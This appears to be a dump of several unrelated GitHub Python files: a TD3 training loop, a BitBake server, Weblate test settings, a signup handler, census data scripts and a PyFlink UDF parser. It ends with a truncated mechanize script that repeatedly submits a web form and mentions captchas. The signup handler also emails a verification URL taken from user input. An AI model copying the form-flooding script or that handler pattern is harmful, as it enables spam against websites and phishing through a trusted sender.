f\"{policy}_{env_name}_{seed}\"\r\nprint(\"---------------------------------------\")\r\nprint(f\"Policy: {policy}, Env: {env_name}, Seed: {seed}\")\r\nprint(\"---------------------------------------\")\r\n\r\nif not os.path.exists(\"./results\"):\r\n os.makedirs(\"./results\")\r\n\r\nif save_model and not os.path.exists(\"./models\"):\r\n os.makedirs(\"./models\")\r\n\r\nenv = gym.make(env_name)\r\n\r\n# Set seeds :env pytorch numpy\r\nenv.seed(seed)\r\ntorch.manual_seed(seed)\r\nnp.random.seed(seed)\r\n\r\nstate_dim = env.observation_space.shape[0]\r\naction_dim = env.action_space.shape[0]\r\nmax_action = float(env.action_space.high[0])\r\n\r\nkwargs = {\r\n \"state_dim\": state_dim,\r\n \"action_dim\": action_dim,\r\n \"max_action\": max_action,\r\n \"discount\": discount,\r\n \"tau\": tau,\r\n \"policy_noise\": policy_noise * max_action,\r\n \"noise_clip\": noise_clip * max_action,\r\n \"policy_freq\": policy_freq\r\n}\r\n# **表示有键值对的可变形参\r\npolicy = TD3(**kwargs)\r\n\r\nif load_model != \"\":\r\n policy_file = file_name if load_model == \"default\" else load_model\r\n policy.load(f\"./models/{policy_file}\")\r\n\r\nreplay_buffer = ReplayBuffer(state_dim, action_dim)\r\n\r\n# 初始化网络 此处需要额外调用以使内部函数能够使用 model.forward\r\nevaluations = [eval_policy(policy, env_name, seed)]\r\n\r\nstate, done = env.reset(), False\r\nepisode_reward = 0\r\nepisode_timesteps = 0\r\nepisode_num = 0\r\n# take_action- > step-> collect -> Train -> evaluate -> save model and result\r\nfor t in range(int(max_timesteps)):\r\n\r\n episode_timesteps += 1\r\n \r\n\r\n \r\n # 如果小于25000步就只交互进行存储,大于后开始训练,训练动作用 a+noise代替e-greedy(这是DQN)(同ddpg)\r\n if t < start_timesteps: \r\n action = env.action_space.sample()\r\n else:\r\n action = (\r\n policy.select_action(np.array(state))\r\n + np.random.normal(0, max_action * expl_noise, size=action_dim)\r\n ).clip(-max_action, max_action)\r\n\r\n # Perform action\r\n next_state, reward, done, _ = env.step(action)\r\n done_bool = float(done) if episode_timesteps < env._max_episode_steps else 0\r\n # env._max_episode_steps = 200 是强制改变最大step防止done\r\n \r\n \r\n\r\n # Store data in replay buffer\r\n replay_buffer.add(state, action, next_state, reward, done_bool)\r\n\r\n state = next_state\r\n episode_reward += reward\r\n\r\n # Train agent after collecting sufficient data\r\n if t >= start_timesteps:\r\n policy.train(replay_buffer, batch_size)\r\n\r\n if done:\r\n # +1 to account for 0 indexing. +0 on ep_timesteps since it will increment +1 even if done=True \r\n print(\r\n f\"Total T: {t + 1} Episode Num: {episode_num + 1} Episode T: {episode_timesteps} Reward: {episode_reward:.3f}\")\r\n # Reset environment\r\n state, done = env.reset(), False\r\n episode_reward = 0 # 一个episode的G\r\n episode_timesteps = 0 # 一个episode所经过的step\r\n episode_num += 1 # episode数\r\n\r\n # Evaluate episode 这里的动作不加noise\r\n if (t + 1) % eval_freq == 0:\r\n evaluations.append(eval_policy(policy, env_name, seed))\r\n np.save(f\"./results/{file_name}\", evaluations)\r\n\r\n if save_model:\r\n policy.save(f\"./models/{file_name}\")\r\n\r\nstate_dim","repo_name":"bao666liang/drl_pytorch","sub_path":"动手学强化学习书籍代码/TD3.py","file_name":"TD3.py","file_ext":"py","file_size_in_byte":15492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25627485936","text":"import textwrap\nimport logging\nfrom benchmarkstt.cli import create_parser, args_help, args_common, args_complete\nfrom benchmarkstt.cli import CustomHelpFormatter, before_parseargs\nfrom benchmarkstt.modules import Modules\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef argparser():\n name = 'benchmarkstt-tools'\n desc = 'Some additional helpful tools'\n parser = create_parser(prog=name, description=desc)\n\n subparsers = parser.add_subparsers(dest='subcommand')\n\n for module, cli in Modules('cli'):\n kwargs = dict()\n if hasattr(cli, 'Formatter'):\n kwargs['formatter_class'] = cli.Formatter\n else:\n kwargs['formatter_class'] = CustomHelpFormatter\n\n if cli.__doc__ is not None:\n docs = cli.__doc__\n else:\n docs = '?'\n logger.warning('Missing __doc__ for benchmarkstt.%s._cli', module)\n\n kwargs['description'] = textwrap.dedent(docs)\n subparser = subparsers.add_parser(module, add_help=False, allow_abbrev=False, **kwargs)\n\n cli.argparser(subparser)\n args_common(subparser)\n args_help(subparser)\n\n args_help(parser)\n return parser\n\n\ndef run():\n before_parseargs()\n\n parser = argparser()\n args_complete(parser)\n\n args = parser.parse_args()\n\n if not args.subcommand:\n parser.error(\"expects at least 1 argument\")\n\n Modules('cli')[args.subcommand].run(parser, args)\n exit(0)\n\n\nif __name__ == '__main__': # pragma: nocover\n run()\n","repo_name":"ebu/benchmarkstt","sub_path":"src/benchmarkstt/cli/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"52"} +{"seq_id":"39792883547","text":"import bb\nimport bb.event\nimport itertools\nimport logging\nimport multiprocessing\nimport os\nimport signal\nimport sys\nimport time\nfrom Queue import Empty\nfrom multiprocessing import Event, Process, util, Queue, Pipe, queues\n\nfrom . import BitBakeBaseServer, BitBakeBaseServerConnection, BaseImplServer\n\nlogger = logging.getLogger('BitBake')\n\nclass ServerCommunicator():\n def __init__(self, connection):\n self.connection = connection\n\n def runCommand(self, command):\n # @todo try/except\n self.connection.send(command)\n\n while True:\n # don't let the user ctrl-c while we're waiting for a response\n try:\n if self.connection.poll(20):\n return self.connection.recv()\n else:\n bb.fatal(\"Timeout while attempting to communicate with bitbake server\")\n except KeyboardInterrupt:\n pass\n\n\nclass EventAdapter():\n \"\"\"\n Adapter to wrap our event queue since the caller (bb.event) expects to\n call a send() method, but our actual queue only has put()\n \"\"\"\n def __init__(self, queue):\n self.queue = queue\n\n def send(self, event):\n try:\n self.queue.put(event)\n except Exception as err:\n print(\"EventAdapter puked: %s\" % str(err))\n\n\nclass ProcessServer(Process, BaseImplServer):\n profile_filename = \"profile.log\"\n profile_processed_filename = \"profile.log.processed\"\n\n def __init__(self, command_channel, event_queue):\n BaseImplServer.__init__(self)\n Process.__init__(self)\n self.command_channel = command_channel\n self.event_queue = event_queue\n self.event = EventAdapter(event_queue)\n self.quit = False\n\n self.keep_running = Event()\n self.keep_running.set()\n\n def run(self):\n for event in bb.event.ui_queue:\n self.event_queue.put(event)\n self.event_handle = bb.event.register_UIHhandler(self)\n bb.cooker.server_main(self.cooker, self.main)\n\n def main(self):\n # Ignore SIGINT within the server, as all SIGINT handling is done by\n # the UI and communicated to us\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n while self.keep_running.is_set():\n try:\n if self.command_channel.poll():\n command = self.command_channel.recv()\n self.runCommand(command)\n\n self.idle_commands(.1)\n except Exception:\n logger.exception('Running command %s', command)\n\n self.event_queue.cancel_join_thread()\n bb.event.unregister_UIHhandler(self.event_handle)\n self.command_channel.close()\n self.cooker.stop()\n self.idle_commands(.1)\n\n def idle_commands(self, delay):\n nextsleep = delay\n\n for function, data in self._idlefuns.items():\n try:\n retval = function(self, data, False)\n if retval is False:\n del self._idlefuns[function]\n elif retval is True:\n nextsleep = None\n elif nextsleep is None:\n continue\n elif retval < nextsleep:\n nextsleep = retval\n except SystemExit:\n raise\n except Exception:\n logger.exception('Running idle function')\n\n if nextsleep is not None:\n time.sleep(nextsleep)\n\n def runCommand(self, command):\n \"\"\"\n Run a cooker command on the server\n \"\"\"\n self.command_channel.send(self.cooker.command.runCommand(command))\n\n def stop(self):\n self.keep_running.clear()\n\nclass BitBakeProcessServerConnection(BitBakeBaseServerConnection):\n def __init__(self, serverImpl, ui_channel, event_queue):\n self.procserver = serverImpl\n self.ui_channel = ui_channel\n self.event_queue = event_queue\n self.connection = ServerCommunicator(self.ui_channel)\n self.events = self.event_queue\n\n def terminate(self, force = False):\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n self.procserver.stop()\n if force:\n self.procserver.join(0.5)\n if self.procserver.is_alive():\n self.procserver.terminate()\n self.procserver.join()\n else:\n self.procserver.join()\n while True:\n try:\n event = self.event_queue.get(block=False)\n except (Empty, IOError):\n break\n if isinstance(event, logging.LogRecord):\n logger.handle(event)\n self.ui_channel.close()\n self.event_queue.close()\n if force:\n sys.exit(1)\n\n# Wrap Queue to provide API which isn't server implementation specific\nclass ProcessEventQueue(multiprocessing.queues.Queue):\n def waitEvent(self, timeout):\n try:\n return self.get(True, timeout)\n except Empty:\n return None\n\n def getEvent(self):\n try:\n return self.get(False)\n except Empty:\n return None\n\n\nclass BitBakeServer(BitBakeBaseServer):\n def initServer(self):\n # establish communication channels. We use bidirectional pipes for\n # ui <--> server command/response pairs\n # and a queue for server -> ui event notifications\n #\n self.ui_channel, self.server_channel = Pipe()\n self.event_queue = ProcessEventQueue(0)\n self.serverImpl = ProcessServer(self.server_channel, self.event_queue)\n\n def detach(self):\n self.serverImpl.start()\n return\n\n def establishConnection(self):\n self.connection = BitBakeProcessServerConnection(self.serverImpl, self.ui_channel, self.event_queue)\n signal.signal(signal.SIGTERM, lambda i, s: self.connection.terminate(force=True))\n return self.connection\n","repo_name":"openagriculture/poky","sub_path":"bitbake/lib/bb/server/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":5916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10294542604","text":"import os\nimport warnings\n\nfrom weblate.settings_example import * # noqa: F403\n\nCI_DATABASE = os.environ.get(\"CI_DATABASE\", \"\")\n\ndefault_user = \"weblate\"\ndefault_name = \"weblate\"\nif CI_DATABASE in (\"mysql\", \"mariadb\"):\n DATABASES[\"default\"][\"ENGINE\"] = \"django.db.backends.mysql\"\n default_user = \"root\"\n DATABASES[\"default\"][\"OPTIONS\"] = {\n \"init_command\": (\n \"SET NAMES utf8mb4, \"\n \"wait_timeout=28800, \"\n \"default_storage_engine=INNODB, \"\n 'sql_mode=\"STRICT_TRANS_TABLES\"'\n ),\n \"charset\": \"utf8\",\n \"isolation_level\": \"read committed\",\n }\nelif CI_DATABASE == \"postgresql\":\n DATABASES[\"default\"][\"ENGINE\"] = \"django.db.backends.postgresql\"\n default_user = \"postgres\"\nelse:\n if not CI_DATABASE:\n raise ValueError(\"Missing CI_DATABASE configuration in the environment\")\n raise ValueError(f\"Not supported database: {CI_DATABASE}\")\n\nDATABASES[\"default\"][\"HOST\"] = os.environ.get(\"CI_DB_HOST\", \"\")\nDATABASES[\"default\"][\"NAME\"] = os.environ.get(\"CI_DB_NAME\", default_name)\nDATABASES[\"default\"][\"USER\"] = os.environ.get(\"CI_DB_USER\", default_user)\nDATABASES[\"default\"][\"PASSWORD\"] = os.environ.get(\"CI_DB_PASSWORD\", \"\")\nDATABASES[\"default\"][\"PORT\"] = os.environ.get(\"CI_DB_PORT\", \"\")\n\n# Configure admins\nADMINS = ((\"Weblate test\", \"noreply@weblate.org\"),)\n\n# The secret key is needed for tests\nSECRET_KEY = \"secret key used for tests only\" # noqa: S105\n\nSITE_DOMAIN = \"example.com\"\n\n# Different root for test repos\nif \"CI_BASE_DIR\" in os.environ:\n BASE_DIR = os.environ[\"CI_BASE_DIR\"]\nelse:\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nDATA_DIR = os.path.join(BASE_DIR, \"data-test\")\nCACHE_DIR = os.path.join(DATA_DIR, \"cache\")\nMEDIA_ROOT = os.path.join(DATA_DIR, \"media\")\nSTATIC_ROOT = os.path.join(DATA_DIR, \"static\")\nCELERY_TASK_ALWAYS_EAGER = True\nCELERY_BROKER_URL = \"memory://\"\nCELERY_TASK_EAGER_PROPAGATES = True\nCELERY_RESULT_BACKEND = None\n\n# Enable lazy stats for testing\nSTATS_LAZY = True\n\nVCS_API_DELAY = 0\n\n# Localize CDN addon\nLOCALIZE_CDN_URL = \"https://cdn.example.com/\"\nLOCALIZE_CDN_PATH = os.path.join(DATA_DIR, \"l10n-cdn\")\n\n# Needed for makemessages, otherwise it does not discover all available locales\n# and the -a parameter does not work\nLOCALE_PATHS = [os.path.join(os.path.dirname(__file__), \"locale\")]\n\n# Silent logging setup\nLOGGING = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"filters\": {\"require_debug_false\": {\"()\": \"django.utils.log.RequireDebugFalse\"}},\n \"formatters\": {\"simple\": {\"format\": \"%(levelname)s %(message)s\"}},\n \"handlers\": {\n \"mail_admins\": {\n \"level\": \"ERROR\",\n \"filters\": [\"require_debug_false\"],\n \"class\": \"django.utils.log.AdminEmailHandler\",\n },\n \"console\": {\n \"level\": \"DEBUG\",\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"simple\",\n },\n },\n \"loggers\": {\n \"django.request\": {\n \"handlers\": [\"mail_admins\"],\n \"level\": \"ERROR\",\n \"propagate\": True,\n },\n \"weblate\": {\"handlers\": [], \"level\": \"ERROR\"},\n \"social\": {\"handlers\": [], \"level\": \"ERROR\"},\n },\n}\n\n# Reset caches\nCACHES = {\"default\": {\"BACKEND\": \"django.core.cache.backends.locmem.LocMemCache\"}}\n\nif \"CI_REDIS_HOST\" in os.environ:\n CACHES[\"avatar\"] = {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": \"redis://{}:{}/0\".format(\n os.environ[\"CI_REDIS_HOST\"], os.environ.get(\"CI_REDIS_PORT\", \"6379\")\n ),\n }\n\n# Selenium can not clear HttpOnly cookies in MSIE\nSESSION_COOKIE_HTTPONLY = False\n\n# Use database backed sessions for transaction consistency in tests\nSESSION_ENGINE = \"django.contrib.sessions.backends.db\"\n\n# Test optional apps as well\nINSTALLED_APPS += (\"weblate.billing\", \"weblate.legal\")\n\n# Test GitHub auth\nAUTHENTICATION_BACKENDS = (\n \"social_core.backends.email.EmailAuth\",\n \"social_core.backends.github.GithubOAuth2\",\n \"weblate.accounts.auth.WeblateUserBackend\",\n)\n\n# Disable random admin checks trigger\nBACKGROUND_ADMIN_CHECKS = False\n\n# Use weak password hasher for testing\nPASSWORD_HASHERS = [\n \"django.contrib.auth.hashers.MD5PasswordHasher\",\n]\n\n# Let the testsuite fail on timezone issues\nwarnings.filterwarnings(\n \"error\",\n r\"DateTimeField .* received a naive datetime\",\n RuntimeWarning,\n r\"django\\.db\\.models\\.fields\",\n)\n","repo_name":"WeblateOrg/weblate","sub_path":"weblate/settings_test.py","file_name":"settings_test.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","stars":3905,"dataset":"github-code","pt":"52"} +{"seq_id":"13016322175","text":"import BaseHandler\n\nimport os\n\nfrom google.appengine.api import mail\n\nclass SignupHandler(BaseHandler.BaseHandler):\n def get(self):\n self._serve_page()\n\n def post(self):\n email = self.request.get('email_address').lower()\n name = self.request.get('name')\n password = self.request.get('password')\n last_name = self.request.get('lastname')\n major = self.request.get_all('major')\n resendEmail = self.request.get('resendEmail')\n resendVerification = self.request.get('resendVerification')\n\n if not resendEmail:\n unique_properties = None\n user_data = self.user_model.create_user(email,\n unique_properties,\n email_address=email, name=name, password_raw=password,\n last_name=last_name, major=major[0], verified=False)\n\n if not user_data[0]: #user_data is a tuple\n self._serve_page(duplicate=True, duplicateKeys=user_data[1])\n return\n\n user = user_data[1]\n user_id = user.get_id()\n\n token = self.user_model.create_signup_token(user_id)\n\n verification_url = self.uri_for('verification', type='v', user_id=user_id,\n signup_token=token, _full=True)\n\n if resendVerification:\n verification_url = resendVerification\n\n receiverString = name + \" \" + last_name + \"<\" + email + \">\";\n email_body = \"\"\"Hello\"\"\" + name + \"\"\",\\n\\nPlease verify your account by going to this link: \"\"\" + verification_url;\n\n message = mail.EmailMessage(sender=\"\",\n subject=\"Account Verification\")\n message.to = receiverString\n message.body = email_body\n message.send()\n\n self._serve_page(email_sent=True, verification_url=verification_url, resendEmail=resendEmail)\n\n def _serve_page(self, email_sent=False, verification_url='', duplicate=False, duplicateKeys='', resendEmail=''):\n email_address = self.request.get('email_address')\n params = {\n 'development_mode': os.environ['SERVER_SOFTWARE'].startswith('Development'),\n 'email_address': email_address,\n 'email_sent': email_sent,\n 'verification_url': verification_url,\n 'duplicate': duplicate,\n 'duplicateKeys': duplicateKeys,\n 'resendEmail': resendEmail\n }\n self.render_template('signup.html', params)","repo_name":"nmcmahon1215/CS4241-FinalProject","sub_path":"WPIMajorTracking/SignupHandler.py","file_name":"SignupHandler.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"17119691305","text":"from utils.header import *\n\n\ndef unzip_all_block_files(block_shapes_dir=\"data/census_block_shapefiles_2020/\"):\n\n import zipfile\n\n all_files_and_folders = os.listdir(block_shapes_dir)\n all_zip_files_to_extract = [\n f\n for f in all_files_and_folders\n if f.endswith(\".zip\") and not f.split(\".zip\")[0] in all_files_and_folders\n ]\n for f in all_zip_files_to_extract:\n print(f)\n with zipfile.ZipFile(block_shapes_dir + f, \"r\") as zip_ref:\n dest_dir = f.split(\".zip\")[0]\n zip_ref.extractall(block_shapes_dir + dest_dir)\n\n\ndef output_block_racial_demos_by_state(\n states_codes_file=\"data/state_codes.csv\",\n block_demos_file=\"data/census_block_covariates/2020_census_race_hisp_over_18_by_block/filtered_demos.csv\",\n output_dir=\"data/census_block_covariates/2020_census_race_hisp_over_18_by_block/by_state/\",\n output_file_name=\"racial_demos_by_block.csv\",\n):\n\n df_states = pd.read_csv(states_codes_file, dtype=\"str\")\n # Only process those states we haven't processed yet\n # states_already_computed = [f for f in os.listdir(output_dir)]\n # df_states = df_states[\n # ~df_states[\"abbrev\"].isin(states_already_computed)\n # ].reset_index()\n\n print(\"Loading filtered demos data ...\")\n df_demos = pd.read_csv(block_demos_file, encoding=\"ISO-8859-1\", dtype=\"str\")\n print(\"Iterating over states ...\")\n for i in range(0, len(df_states)):\n try:\n state_abbrev = df_states[\"abbrev\"][i]\n state_code = str(df_states[\"fips_code\"][i])\n if len(state_code) < 2:\n state_code = \"0\" + state_code\n curr_demos = df_demos[df_demos[\"STATEA\"].isin([state_code])].reset_index(\n drop=True\n )\n print(state_abbrev, state_code, len(curr_demos))\n\n curr_output_dir = output_dir + state_abbrev + \"/\"\n if not os.path.exists(curr_output_dir):\n os.mkdir(curr_output_dir)\n curr_demos.to_csv(curr_output_dir + output_file_name, index=False)\n except Exception as e:\n print(e)\n\n\ndef output_school_covars_by_state(\n states_codes_file=\"data/state_codes.csv\",\n school_race_covars_file=\"data/school_covariates/ccd_race_1920.csv\",\n school_frl_covars_file=\"data/school_covariates/ccd_frl_1920.csv\",\n school_ell_covars_file=\"data/school_covariates/crdc_1718/files/Data/SCH/CRDC/CSV/Enrollment.csv\",\n output_dir=\"data/school_covariates/ccd_1920_school_covars_by_state/\",\n output_file_name=\"ccd_1920_crdc_1718_school_covars.csv\",\n):\n\n df_states = pd.read_csv(states_codes_file, dtype=\"str\")\n # Only process those states we haven't processed yet\n # states_already_computed = [f for f in os.listdir(output_dir)]\n # df_states = df_states[\n # ~df_states[\"abbrev\"].isin(states_already_computed)\n # ].reset_index()\n\n print(\"Loading school race covars data ...\")\n df_race_covars = pd.read_csv(\n school_race_covars_file, encoding=\"ISO-8859-1\", dtype=\"str\"\n )\n\n print(\"Loading school frl covars data ...\")\n df_frl_covars = pd.read_csv(\n school_frl_covars_file, encoding=\"ISO-8859-1\", dtype=\"str\"\n )\n\n print(\"Loading school ell covars data ...\")\n df_ell_covars = pd.read_csv(\n school_ell_covars_file, encoding=\"ISO-8859-1\", dtype=\"str\"\n )\n\n df_race_covars[\"STUDENT_COUNT\"] = df_race_covars[\"STUDENT_COUNT\"].astype(float)\n df_frl_covars[\"STUDENT_COUNT\"] = df_frl_covars[\"STUDENT_COUNT\"].astype(float)\n df_ell_covars[\"SCH_ENR_LEP_M\"] = df_ell_covars[\"SCH_ENR_LEP_M\"].astype(float)\n df_ell_covars[\"SCH_ENR_LEP_F\"] = df_ell_covars[\"SCH_ENR_LEP_F\"].astype(float)\n\n race_keys = {\n \"White\": \"num_white\",\n \"Black or African American\": \"num_black\",\n \"Hispanic/Latino\": \"num_hispanic\",\n \"American Indian or Alaska Native\": \"num_native\",\n \"Asian\": \"num_asian\",\n }\n\n print(\"Iterating over states ...\")\n for i in range(0, len(df_states)):\n try:\n state_abbrev = df_states[\"abbrev\"][i]\n # if not state_abbrev == \"VA\":\n # continue\n\n # RACE AND ETHNICITY\n curr_race_covars = df_race_covars[\n df_race_covars[\"ST\"].isin([state_abbrev])\n ].reset_index(drop=True)\n curr_race_covars = curr_race_covars[\n [\"NCESSCH\", \"RACE_ETHNICITY\", \"STUDENT_COUNT\", \"TOTAL_INDICATOR\"]\n ]\n print(state_abbrev, len(curr_race_covars))\n\n df_s = (\n curr_race_covars[\n curr_race_covars[\"TOTAL_INDICATOR\"].isin(\n [\"Derived - Education Unit Total minus Adult Education Count\"]\n )\n ][[\"NCESSCH\", \"STUDENT_COUNT\"]]\n .rename(columns={\"STUDENT_COUNT\": \"total_students\"})\n .reset_index(drop=True)\n )\n\n for r in race_keys:\n filtered_df = curr_race_covars[\n curr_race_covars[\"RACE_ETHNICITY\"].isin([r])\n & curr_race_covars[\"TOTAL_INDICATOR\"].isin(\n [\n \"Derived - Subtotal by Race/Ethnicity and Sex minus Adult Education Count\"\n ]\n )\n ]\n df_curr = (\n filtered_df.groupby([\"NCESSCH\"])\n .agg(\n {\n \"STUDENT_COUNT\": \"sum\",\n }\n )\n .rename(columns={\"STUDENT_COUNT\": race_keys[r]})\n )\n df_s = pd.merge(df_s, df_curr, on=\"NCESSCH\", how=\"left\")\n\n # FRL\n curr_frl_covars = df_frl_covars[\n df_frl_covars[\"ST\"].isin([state_abbrev])\n ].reset_index(drop=True)\n curr_frl_covars = curr_frl_covars[\n [\"NCESSCH\", \"LUNCH_PROGRAM\", \"STUDENT_COUNT\"]\n ]\n filtered_df = curr_frl_covars[\n curr_frl_covars[\"LUNCH_PROGRAM\"].isin(\n [\"Free lunch qualified\", \"Reduced-price lunch qualified\"]\n )\n ]\n df_frl = (\n filtered_df.groupby([\"NCESSCH\"])\n .agg({\"STUDENT_COUNT\": \"sum\"})\n .rename(columns={\"STUDENT_COUNT\": \"num_frl\"})\n )\n df_s = pd.merge(df_s, df_frl, on=\"NCESSCH\", how=\"left\")\n\n # ELL\n curr_ell_covars = df_ell_covars[\n df_ell_covars[\"LEA_STATE\"].isin([state_abbrev])\n ].reset_index(drop=True)\n curr_ell_covars = curr_ell_covars[\n [\"COMBOKEY\", \"SCH_ENR_LEP_M\", \"SCH_ENR_LEP_F\"]\n ]\n curr_ell_covars[\"num_ell\"] = (\n curr_ell_covars[\"SCH_ENR_LEP_M\"] + curr_ell_covars[\"SCH_ENR_LEP_F\"]\n )\n\n # all_nces = set(df_s[\"NCESSCH\"].tolist())\n # ell_nces = set(curr_ell_covars[\"COMBOKEY\"].tolist())\n # print(len(all_nces.intersection(ell_nces)) / len(all_nces.union(ell_nces)))\n # exit()\n df_s = pd.merge(\n df_s,\n curr_ell_covars,\n left_on=\"NCESSCH\",\n right_on=\"COMBOKEY\",\n how=\"left\",\n ).drop(columns=[\"SCH_ENR_LEP_M\", \"SCH_ENR_LEP_F\", \"COMBOKEY\"])\n\n curr_output_dir = output_dir + state_abbrev + \"/\"\n if not os.path.exists(curr_output_dir):\n os.mkdir(curr_output_dir)\n df_s.to_csv(curr_output_dir + output_file_name, index=False)\n except Exception as e:\n print(e)\n\n\ndef output_block_group_demos_by_state(\n states_codes_file=\"data/state_codes.csv\",\n bgrp_file=\"data/census_block_covariates/2015_2019_ACS_block_group_poverty_ratios/nhgis0014_ds244_20195_blck_grp.csv\",\n output_dir=\"data/census_block_covariates/2015_2019_ACS_block_group_poverty_ratios/by_state/\",\n output_file_name=\"frl_demos_by_block_group.csv\",\n):\n\n df_states = pd.read_csv(states_codes_file, dtype=\"str\")\n # Only process those states we haven't processed yet\n states_already_computed = [f for f in os.listdir(output_dir)]\n df_states = df_states[\n ~df_states[\"abbrev\"].isin(states_already_computed)\n ].reset_index()\n\n print(\"Loading demos data ...\")\n df_demos = pd.read_csv(bgrp_file, encoding=\"ISO-8859-1\", dtype=\"str\")\n for i in range(0, len(df_states)):\n try:\n state_abbrev = df_states[\"abbrev\"][i]\n state_code = str(df_states[\"fips_code\"][i])\n if len(state_code) < 2:\n state_code = \"0\" + state_code\n curr_demos = df_demos[df_demos[\"STATEA\"].isin([state_code])].reset_index(\n drop=True\n )\n print(state_abbrev, state_code, len(curr_demos))\n\n curr_output_dir = output_dir + state_abbrev + \"/\"\n if not os.path.exists(curr_output_dir):\n os.mkdir(curr_output_dir)\n curr_demos.to_csv(curr_output_dir + output_file_name, index=False)\n except Exception as e:\n print(e)\n\n\nif __name__ == \"__main__\":\n # unzip_all_block_files()\n # output_block_racial_demos_by_state()\n # output_block_group_demos_by_state()\n output_school_covars_by_state()\n","repo_name":"Plural-Connections/attendance-boundaries","sub_path":"utils/data_org.py","file_name":"data_org.py","file_ext":"py","file_size_in_byte":9310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23821425406","text":"import hashlib\nimport importlib\nimport os\nimport sys\nimport uuid\nimport zipfile\nimport appdirs\nimport shutil\n\nimport pyflink\n\n# import ast\n# from pathlib import Path\n# from typing import Callable, AnyStr\n# notFuncName: list = [\"__call__\", \"eval\"]\n# udfNameList: list = []\n# is_udf: Callable[[AnyStr], bool] = lambda func: isinstance(getattr(importlib.import_module(path.stem), func),\n# pyflink.table.udf.UserDefinedFunctionWrapper)\n#\n# # filePath: str = sys.argv[1]\n# # if str is None:\n# # raise Exception(\"请输入文件路径\")\n# # path = Path(filePath)\n# # if path.parent.name != \"\":\n# # sys.path.append(path.parent.__str__())\n# with open(filePath, 'r', encoding='utf8') as f:\n# tree = ast.parse(f.read())\n#\n# for node in ast.walk(tree):\n# if isinstance(node, ast.FunctionDef):\n# try:\n# if node.args.args[0].arg == \"self\":\n# continue\n# except Exception as e:\n# pass\n# if notFuncName.__contains__(node.name):\n# continue\n#\n# if not is_udf(node.name):\n# continue\n# udfNameList.append(node.name)\n#\n# try:\n# if isinstance(node.targets[0], ast.Name) and is_udf(node.targets[0].id):\n# udfNameList.append(node.targets[0].id)\n# except Exception as e:\n# pass\n\nif len(sys.argv) < 2:\n raise Exception(\"Please enter the file path\")\n\nproject_path: str = sys.argv[1]\n\nudf_name_list = set()\n\n\ndef get_file_md5(path):\n \"\"\"\n 获取文件内容的MD5值\n :param path: 文件所在路径\n :return:\n \"\"\"\n with open(path, 'rb') as file:\n data = file.read()\n\n diff_check = hashlib.md5()\n diff_check.update(data)\n md5_code = diff_check.hexdigest()\n return md5_code\n\n\ndef list_modules(root_dir):\n \"\"\"返回给定目录下所有模块和子模块的名称\"\"\"\n modules = []\n if os.path.isdir(root_dir):\n sys.path.append(project_path)\n for dirpath, _, filenames in os.walk(root_dir):\n for filename in filenames:\n parse_file(dirpath, filename, modules, root_dir)\n else:\n file_dir = os.path.dirname(root_dir)\n sys.path.append(file_dir)\n parse_file(file_dir, root_dir, modules, file_dir)\n if project_path.endswith(\".py\"):\n sys.path.append(file_dir)\n elif project_path.endswith(\".zip\"):\n tmp_dir = appdirs.user_cache_dir()\n file = zipfile.ZipFile(project_path)\n unzip_file_path = os.path.normpath(tmp_dir + \"/dinky/udf_parse/\" + get_file_md5(project_path))\n if os.path.exists(unzip_file_path):\n shutil.rmtree(unzip_file_path)\n file.extractall(unzip_file_path)\n sys.path.append(unzip_file_path)\n for dirpath, _, filenames in os.walk(unzip_file_path):\n for filename in filenames:\n parse_file(dirpath, filename, modules, unzip_file_path)\n file.close()\n return modules\n\n\ndef parse_file(dirpath, filename, modules, root_dir):\n root_dir = os.path.normpath(root_dir)\n if filename.endswith(\".py\"):\n p_ = root_dir.replace(os.sep, \".\")\n module_name = os.path.splitext(os.path.join(dirpath, filename))[0].replace(os.sep, \".\").replace(\n p_ + \".\", \"\")\n modules.append(module_name.replace(root_dir, \"\"))\n\n\nif __name__ == '__main__':\n modules = list_modules(project_path)\n\n for module_name in modules:\n try:\n module = importlib.import_module(module_name)\n for m in dir(module):\n if isinstance(getattr(module, m), pyflink.table.udf.UserDefinedFunctionWrapper):\n udf_name_list.add(module.__name__ + \".\" + m)\n\n except Exception as e:\n pass\n\n print(str.join(\",\", udf_name_list))\n\n# import pkgutil\n# for _, module_name, _ in pkgutil.walk_packages([\"\"]):\n# if module_name == os.path.splitext(os.path.basename(__file__))[0]:\n# continue\n# try:\n# print(module_name)\n# module = importlib.import_module(module_name)\n# for m in dir(module):\n# if isinstance(getattr(module, m), pyflink.table.udf.UserDefinedFunctionWrapper):\n# udfNameList.add(module.__name__ + \".\" + m)\n#\n# except Exception as e:\n# pass\n#\n# print(str.join(\",\", udfNameList))\n","repo_name":"leeoo/dinky","sub_path":"dinky-function/src/main/resources/getPyFuncList.py","file_name":"getPyFuncList.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"4231839263","text":"\"\"\"\n 1. Install python 2.X\n 1.1 Mechenize requires python 2.X\n \n 2. Install mechanize\n 2.1 Linux:\n run the command:\n $ sudo pip install mechanize\n 2.2 Windows: download mechanize from http://wwwsearch.sourceforge.net/mechanize/src/mechanize-0.2.5.zip\n unpack\n access the folder from command prompt\n run the command:\n python setup.py install\n \n 3. Not tested with captcha.\n\"\"\"\n\nimport sys\nimport mechanize\n\nreload(sys)\nsys.setdefaultencoding('utf8')\n\ntimes = int(input('How many times do you want to submit form? 